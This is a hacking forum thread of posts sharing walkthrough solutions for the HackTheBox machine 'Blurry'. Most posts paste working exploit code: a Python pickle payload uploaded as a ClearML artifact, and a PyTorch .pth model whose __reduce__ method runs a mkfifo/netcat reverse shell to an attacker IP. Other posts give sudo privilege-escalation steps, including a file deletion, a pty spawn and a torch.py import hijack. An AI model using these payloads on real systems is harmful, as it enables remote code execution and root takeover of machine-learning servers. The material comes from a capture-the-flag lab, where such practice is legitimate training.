HTB - Blurry
by black_panther - Saturday June 8, 2024 at 06:30 PM
#51
(Jun 09, 2024, 09:04 AM)wh1t3_r4bb1t Wrote:
(Jun 09, 2024, 06:09 AM)Szakyro Wrote:
(Jun 09, 2024, 05:35 AM)3kyy Wrote: Payload exploit.py
#!/usr/bin/env python3
import os
import pickle
from clearml import Task
class RunCommand:
    def __reduce__(self):
        return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.xx 443 >/tmp/f',))
command = RunCommand()
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=['review'], output_uri=True)
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True)

Root
rm -rf /usr/bin/evaluate_model.py
echo -e 'import pty\npty.spawn("/bin/bash")' > evaluate_model.py
sudo /usr/bin/evaluate_model /models/*.pth

Angel

Can you please tell me where do you need to enter that payload? I'm cloning one of the training models and editing it and putting the pyload in uncommited changes, but it's not triggering after adding it in queue

In comment it's a full solution for user flag. Just clearml-init -> paste your config(app{...}, you can copy it from website), run that python script, it will init new task, upload artifact to it and add review tagg to trigger user to run it.

Thanks
Reply
#52
any hint for root, dose we have get other shell and then create .pth file or in same shell that got before creating .pth file and get shell as root
Reply
#53
for root in details make this .py file like shell.py
import torch
import torch.nn as nn
import os
class CustomModel(nn.Module):
def __init__(self):
super(CustomModel, self).__init__()
self.linear = nn.Linear(10, 1)

def forward(self, x):
return self.linear(x)

def __reduce__(self):
# Custom reduce method
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 4444 >/tmp/f"
return os.system, (cmd,)
# Create an instance of the model
model = CustomModel()
# Save the model using torch.save
torch.save(model, 'evil.pth')
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that run it with python3 --> python3 shell.py --> u will get evil.pth in the samy directory --> mv it to /models --> mv evil.pth /models/
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that in new terminal nc -nlvp 4444
--------------------------------------------------------------------------------------------------------------------------------------------------------------
sudo /usr/bin/evaluate_model /models/evil.pth --> pwned

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#54
(Jun 09, 2024, 01:53 PM)osamy7593 Wrote: for root in details make this .py file like shell.py
import torch
import torch.nn as nn
import os
class CustomModel(nn.Module):
    def __init__(self):
        super(CustomModel, self).__init__()
        self.linear = nn.Linear(10, 1)
 
    def forward(self, x):
        return self.linear(x)
 
    def __reduce__(self):
        # Custom reduce method
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 4444 >/tmp/f"
        return os.system, (cmd,)
# Create an instance of the model
model = CustomModel()
# Save the model using torch.save
torch.save(model, 'evil.pth')
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that run it with python3 --> python3 shell.py --> u will get evil.pth in the samy directory --> mv it to /models --> mv evil.pth /models/
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that in new terminal nc -nlvp 4444
--------------------------------------------------------------------------------------------------------------------------------------------------------------
sudo /usr/bin/evaluate_model /models/evil.pth --> pwned

this might be the correct way to get root.
Thanks @paw for the rank!!
Reply
#55
(Jun 09, 2024, 02:19 PM)macavitysworld Wrote:
(Jun 09, 2024, 01:53 PM)osamy7593 Wrote: for root in details make this .py file like shell.py
import torch
import torch.nn as nn
import os
class CustomModel(nn.Module):
    def __init__(self):
        super(CustomModel, self).__init__()
        self.linear = nn.Linear(10, 1)
 
    def forward(self, x):
        return self.linear(x)
 
    def __reduce__(self):
        # Custom reduce method
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 4444 >/tmp/f"
        return os.system, (cmd,)
# Create an instance of the model
model = CustomModel()
# Save the model using torch.save
torch.save(model, 'evil.pth')
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that run it with python3 --> python3 shell.py --> u will get evil.pth in the samy directory --> mv it to /models --> mv evil.pth /models/
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that in new terminal nc -nlvp 4444
--------------------------------------------------------------------------------------------------------------------------------------------------------------
sudo /usr/bin/evaluate_model /models/evil.pth --> pwned

this might be the correct way to get root.

When I save shell.py the evil.pth is save to models but dissapear and I have an error. the same with my shell.py scrip. What it is ?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.
Reply
#56
(Jun 09, 2024, 01:53 PM)osamy7593 Wrote: for root in details make this .py file like shell.py
import torch
import torch.nn as nn
import os
class CustomModel(nn.Module):
    def __init__(self):
        super(CustomModel, self).__init__()
        self.linear = nn.Linear(10, 1)
 
    def forward(self, x):
        return self.linear(x)
 
    def __reduce__(self):
        # Custom reduce method
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 4444 >/tmp/f"
        return os.system, (cmd,)
# Create an instance of the model
model = CustomModel()
# Save the model using torch.save
torch.save(model, 'evil.pth')
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that run it with python3 --> python3 shell.py --> u will get evil.pth in the samy directory --> mv it to /models --> mv evil.pth /models/
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that in new terminal nc -nlvp 4444
--------------------------------------------------------------------------------------------------------------------------------------------------------------
sudo /usr/bin/evaluate_model /models/evil.pth --> pwned

First of all u have to do this --> rm -rf /usr/bin/evaluate_model.py

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#57
(Jun 09, 2024, 03:36 PM)osamy7593 Wrote:
(Jun 09, 2024, 01:53 PM)osamy7593 Wrote: for root in details make this .py file like shell.py
import torch
import torch.nn as nn
import os
class CustomModel(nn.Module):
    def __init__(self):
        super(CustomModel, self).__init__()
        self.linear = nn.Linear(10, 1)
 
    def forward(self, x):
        return self.linear(x)
 
    def __reduce__(self):
        # Custom reduce method
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 4444 >/tmp/f"
        return os.system, (cmd,)
# Create an instance of the model
model = CustomModel()
# Save the model using torch.save
torch.save(model, 'evil.pth')
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that run it with python3 --> python3 shell.py --> u will get evil.pth in the samy directory --> mv it to /models --> mv evil.pth /models/
--------------------------------------------------------------------------------------------------------------------------------------------------------------
after that in new terminal nc -nlvp 4444
--------------------------------------------------------------------------------------------------------------------------------------------------------------
sudo /usr/bin/evaluate_model /models/evil.pth --> pwned

First of all u have to do this --> rm -rf /usr/bin/evaluate_model.py

no, both are different approaches. the one you are mentioning is editing the contents of
/models/evaluate_model.py
which is being called in the
/usr/bin/evaluate_model
but the actuall path is to create a malicious model (.pth) and get shell as root.
Thanks @paw for the rank!!
Reply
#58
I got this error
`[!] Unknown or unsupported file format for /models/evil.pth`
Reply
#59
For root, here's an unintended way,

go to models , create a torch.py file

import os
os.system("/bin/bash")

run the evaluate_model as sudo on the demo_model.pth. the python script should import the file you just created and you should drop into root.
Reply
#60
https://imgur.com/a/rUev7ij

who left this readme on my machine bruh? and wdym by this?
i have noticed it just now after turning this on second time, it was full clear virtual machine btw.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 603 92,346 5 hours ago
Last Post: 0xnany
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 23 2,724 5 hours ago
Last Post: 0xnany
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 374 93,323 6 hours ago
Last Post: 0xnany
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 8 538 8 hours ago
Last Post: mrmanual
  [FREE] CPTS 12 FLAGS pulsebreaker 70 2,143 9 hours ago
Last Post: neurodot

Forum Jump:


 Users browsing this forum: 1 Guest(s)